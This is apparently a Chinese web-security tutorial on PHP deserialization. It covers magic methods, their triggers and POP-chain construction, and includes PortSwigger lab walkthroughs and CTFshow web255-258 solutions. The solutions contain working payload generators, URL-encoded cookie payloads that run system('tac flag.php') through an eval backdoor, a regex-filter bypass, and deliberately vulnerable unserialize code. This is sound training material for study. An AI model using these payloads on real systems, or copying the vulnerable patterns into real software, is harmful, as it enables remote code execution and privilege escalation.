【Web攻防-22】PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

序列化与反序列化

基本概念

序列化:对象转换为数组或字符串等格式

反序列化:将数组或字符串等格式转换成对象

为什么使用

解决数据传输的完整性和可移植性

php序列化和反序列化操作:

serialize() 将对象转换成一个字符串 –> 序列化

unserialize() 将字符串还原成一个对象 –> 反序列化


常见格式

PHP 序列化后的数据格式,用于将 PHP 对象或数据结构转换为可存储或传输的字符串形式

O:6:"Person":3:{s:4:"name";s:7:"Anemone";s:3:"sex";s:3:"man";s:3:"age";i:19;}
  • O:6:"Person":3:{...} 表示一个对象(O),类名为Person(长度 6),包含 3 个属性
  • 内部的键值对分别是:
    • s:4:"name";s:7:"Anemone" → 字符串属性name,值为Anemone(长度 7)
    • s:3:"sex";s:3:"man" → 字符串属性sex,值为man
    • s:3:"age";i:19 → 整数属性age,值为 19
<?php
header("Content-type: text/html; charset=utf-8");
​
​
class user{
   public $name='Anemone';
   public $sex='man';
   public $age=19;
}
​
$demo=new user();
$s=serialize($demo);//序列化
echo $s;
​
$u=unserialize($s);//反序列化
var_dump($u);

对序列化数据进行还原(反序列化)

<?php
​
$test='O:4:"user":3:{s:4:"name";s:6:"Anemone";s:3:"sex";s:3:"man";s:3:"age";i:19;}';
$data=unserialize($test);
var_dump($data);

常见PHP魔术方法

__construct() 和 __destruct()

__construct(构造方法)

作用:当使用new关键字创建类的实例(对象)时,会自动调用该方法,主要用于对象的初始化操作

对象出生时自动调用,负责 “初始化”(准备资源)

__destruct(析构方法)

作用:当对象被销毁(不再被使用)时,会自动调用该方法,主要用于清理资源。

对象死亡时自动调用,负责 “清理”(释放资源)

对象销毁–自动销毁

程序结束,代码执行最后一行完成才会调用__destruct()

<?php
header("Content-type: text/html; charset=utf-8");
​
​
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
   public $name;
   public $age;
   public $sex;
   // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
   public function __construct(){
       echo "__construct 初始化魔术方法 被执行"."<br>";
  }
   // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
   /*
    * 当对象销毁时会调用此方法
    * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
    */
   function __destruct(){
      echo "__destruct 类魔术方法执行完毕"."<br>";
  }
}
​
$test = new Test();
//主动销毁
//unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

对象销毁–主动销毁

哪里插入马上调用

unset($test);
<?php
header("Content-type: text/html; charset=utf-8");
​
​
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
   public $name;
   public $age;
   public $sex;
   // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
   public function __construct(){
       echo "__construct 初始化魔术方法 被执行"."<br>";
  }
   // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
   /*
    * 当对象销毁时会调用此方法
    * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
    */
   function __destruct(){
      echo "__destruct 类魔术方法执行完毕"."<br>";
  }
}
​
$test = new Test();
//主动销毁
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
//
////程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';

当对象的所有引用都被移除时,对象会立即被销毁

<?php
header("Content-type: text/html; charset=utf-8");
​
​
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
   public $name;
   public $age;
   public $sex;
   // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
   public function __construct(){
       echo "__construct 初始化魔术方法 被执行"."<br>";
  }
   // __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
   /*
    * 当对象销毁时会调用此方法
    * 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
    */
   function __destruct(){
      echo "__destruct 类魔术方法执行完毕"."<br>";
  }
}
​
$test = new Test();
//主动销毁
//unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
//
////程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';

__sleep()

使用serialize()序列化时会被自动调用__sleep()

//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
class Test{
   public $name;
   public $age;
   public $string;
​
   // __construct:实例化对象时被调用.其作用是拿来初始化一些值。
   public function __construct($name, $age, $string){
       echo "__construct 初始化"."<br>";
       $this->name = $name;
       $this->age = $age;
       $this->string = $string;
  }
​
   // __sleep() :serialize之前被调用,可以指定要序列化的对象属性
   public function __sleep(){
       echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
       // 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
       return array('name', 'age','string');
  }
}
​
$a = new Test("xiaodi",31, 'good teacher');
echo serialize($a);

__wakeup()

使用unserialize() 反序列化时会被自动调用__wakeup()

_wakeup()与_sleep()相反

进行反序列化时则必须先序列化,然后触发_sleep()和_wakeup()

//__wakeup:反序列化恢复对象之前调用该方法
class Test{
public $sex;
public $name;
public $age;

public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}

// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age','string');
}

public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
}
}

$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

__invoke()

当尝试以调用函数的方法调用一个对象时会自动调用__invoke()

//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}

$a = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi', 31, '男');

__toString()

把类当作字符串使用时触发__toString()

//__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
public $variable = 'good is string';

public function good(){
echo $this->variable . '<br />';
}

// 在对象当做字符串的时候会被调用
public function __toString(){
return '__toString魔术方法被执行!';
}
}

$a = new Test();
//输出调用
echo $a;

__call()

调用某个方法;若不存在,则会去调用__call()

类似于预前处理

//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
class Test{

public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}

// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}

$a = new Test();
$a->good(1,'xiaodisec');
//不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');

__get()

读取对象属性时,若不存在,则会调用__get()

与__call()相似

//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
public $n='xiaodisec';

// public $xiaodi='gay';
// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}

$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量xiaodi,所以调用__get
echo $a->xiaodi;

__set()

设置对象的属性时,若不存在,则调用__set()

//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
public $noway=0;

// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
* */

public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}

public function Get(){
echo $this->noway;
}
}

$a = new Test();
// 访问noway属性时调用,并设置值为123,类里默认设置为0
$a->noway = 123;
// 经过Get()方法的设置noway的值为123
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置xiaodi的值为31
$a->Get();

__isset()

在不可访问的属性上调用isset()或empty()触发

两个条件(缺一不可):

  • 属性为非公共(非public)
  • 调用isset()或empty()
//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
public $sex; //公共的
private $name; //私有的
private $age; //私有的

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
//echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
echo "__isset被执行了","<br>";
return isset($this->$content);
}
}

$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
//private 成员
//isset($person->name);
empty($person->name);

__unset()

在不可访问的属性上使用unset()时触发

与__isset()一致

两个条件(缺一不可):

  • 属性为非公共(非public)
  • 调用unset()
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
public $sex;
private $name;
private $age;

public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}

// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
//echo isset($this->$content)."<br>";
}
}

$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

其他

  • __set_state(),调用var_export()导出类时,此静态方法会被调用,如public static
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

起点、调板、终点

关注哪些方法经常被调用或一定被调用

如:使用unserialize() 反序列化时一定会自动调用__wakeup()

程序执行完后必定执行__wakeup()


漏洞产生原理

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历,rce等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

<?php
class B{
public $cmd='';
public function __destruct()
{
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

漏洞成因:

  • 可控变量
  • 反序列化操作
  • 魔术方法调用

漏洞利用 – POP链构造

pop链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

rce衍生

?x=O:1:"B":1:{s:3:"cmd";s:4:"cacl";}

pop链构造:

知道反序列化源码,可以修改为序列化,去除不需要的:

<?php
class B
{
public $cmd = 'calc';
}

$x = new B();
echo serialize($x);

重点

  • 某个魔术方法里存在危险操作,如命令执行
  • 找到这个魔术方法,并且知道如何触发它
  • 将魔术方法里的变量尝试改动,完成链,触发魔术方法,触发危险类,触发可控变量

反序列化触发什么漏洞,由危险方法、危险函数、危险代码确定

如:危险类system()就触发rce,文件上传就触发文件上传


漏洞发现

黑盒

黑盒中挖掘几率非常低,即使发现存在反序列化漏洞,pop链也非常难以构造:不知道类名、参数加密等

黑盒要弄懂数据包中的加密编码逻辑,找到与反序列化相关的参数值,尝试修改其中的值

反序列化造成越权访问

靶场:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

最后删除用户时,记得抓取删除包,然后同样方式修改cookie值

反序列化造成越权访问-参数未知

靶场:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types

将Token更改为整数 0,并且将username改为administrator

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

然后编码后以同样的方式发送,即可造成越权

反序列化造成任意文件删除漏洞

靶场:https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization

登录后,用户有个删除账户功能,通过解码

白盒-CTFSHOW-训练链构造

改动和删除没改不需要的

ctfshow-web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

首先代码中最先看到的是unserialize()函数 –> 反序列化题型 –> 寻找常见魔术方法 –>分析代码逻辑 –> 寻找flag在哪出现,如何触发

(1)代码逻辑分析

定义类

定义了ctfShowUser类,包含三个公共属性和三个方法:

  • 属性:username(用户名)、password(密码)、isVip(是否为 VIP,默认false)
  • 方法:
    • checkVip():返回isVip属性的值(判断是否为 VIP)
    • login($u,$p):验证传入的$u和$p是否与对象的username和password完全一致
    • vipOneKeyGetFlag():若isVip为true,则输出 flag,否则提示无权限

核心流程:

  • 从 GET 参数获取username和password
  • 从 Cookie 的user字段读取数据并反序列化为$user对象(反序列化入口)
  • 验证$user->login($username,$password)是否为true(用户名密码匹配)
  • 若登录成功,再验证$user->checkVip()是否为true(是否为 VIP)
  • 若均满足,则执行vipOneKeyGetFlag()输出 flag

(2)漏洞点分析

漏洞的核心在于反序列化可控: 代码中通过unserialize($_COOKIE['user'])反序列化用户可控的 Cookie 数据(user字段),且未对反序列化的数据做任何过滤或验证。这意味着攻击者可以构造恶意的序列化字符串,控制反序列化后生成的ctfShowUser对象的属性值。

(3)漏洞利用思路

要获取 flag,需满足两个条件:

  • $user->login($username,$password)返回true(用户名密码相等)
  • $user->checkVip()返回true(isVip为true)

(4)poc构造

删除不需要的,序列化后需要进行url编码

<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true ;
}

echo urlencode(serialize(new ctfShowUser()));

然后通过数据包中的Cookie的user值发送

Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然后还需要通过get方式传入username=xxxxxx&password=xxxxxx

ctfshow-web256

与255关一致,无非就是需要username和password值不相等

关键代码

if($this->username!==$this->password){

poc重新构造下username和password值,使其不相等。并且在get传参时也是如此

ctfshow-web257

<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

第一眼,看见unserialize并且backDoor类里有危险函数eval –>代码执行

并且存在魔术方法__construct和__destruct

调用$user->login($username,$password)验证用户名密码(无论验证结果如何,对象销毁时都会触发析构函数)

__construct在对象构建时执行,但这里info()无任何作用,将其修改为包含eval函数的backDoor()以便触发

然后将私有属性privite $code改为公有属性public $code = 'system(tac flag.php)';转换为命令执行

没有改动的地方不需要就删掉

<?php
class ctfShowUser{
private $class = 'backDoor';
public function __construct(){
$this->class = new backDoor();
}
}

class backDoor{
public $code = 'system("tac flag.php");';
}

echo urlencode(serialize(new ctfShowUser()));

然后get随便传username和password值,在cookie中用user传入以上输出内容

ctfshow-web258

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

257关升级版,加入了正则匹配函数preg_match(),注意privite都改为了public

'/[oc]:\d+:/i'

  • [oc]:匹配字母 o 或 c(小写)
  • ::匹配冒号 :
  • \d+:匹配一个或多个数字
  • 第二个 ::再次匹配冒号 :
  • i:修饰符,表示不区分大小写

序列化后的数据:

O:11:"ctfShowUser":1:{s:18:" ctfShowUser class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

观察到O:11和O:8被正则过滤了

可以将:11改为:+11,:8改为:+8

<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class = new backDoor();
}
}

class backDoor{
public $code = 'system("tac flag.php");';
}



$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);

本节知识点

WEB攻防-PHP反序列化-魔术方法&触发规则

WEB攻防-PHP反序列化-POP链构造&黑白盒

十二亿七千光年
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇